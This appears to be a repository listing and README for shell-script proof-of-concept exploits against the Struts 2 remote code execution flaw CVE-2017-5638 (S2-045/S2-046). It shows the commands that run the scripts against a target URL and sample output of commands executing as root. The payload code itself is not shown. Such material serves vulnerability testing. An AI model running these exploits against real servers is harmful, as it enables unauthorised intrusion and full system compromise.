项目作者: KarzsGHR
项目描述 :
S2-046|S2-045: Struts 2 Remote Code Execution vulnerability(CVE-2017-5638)
高级语言: Shell
项目地址: git://github.com/KarzsGHR/S2-046_S2-045_POC.git
S2-046_POC
Usage:
./s2_046.sh [url]
./s2_045.sh [url]
Sample:
- chmod +x ./s2_046.sh
- ./s2_046.sh http://172.16.152.135/index.action
OUTPUT:
================HTTP GET Method================
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_java_t:s0-s0:c0.c1023
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_java_t:s0-s0:c0.c1023
================HTTP POST Method================
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_java_t:s0-s0:c0.c1023
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_java_t:s0-s0:c0.c1023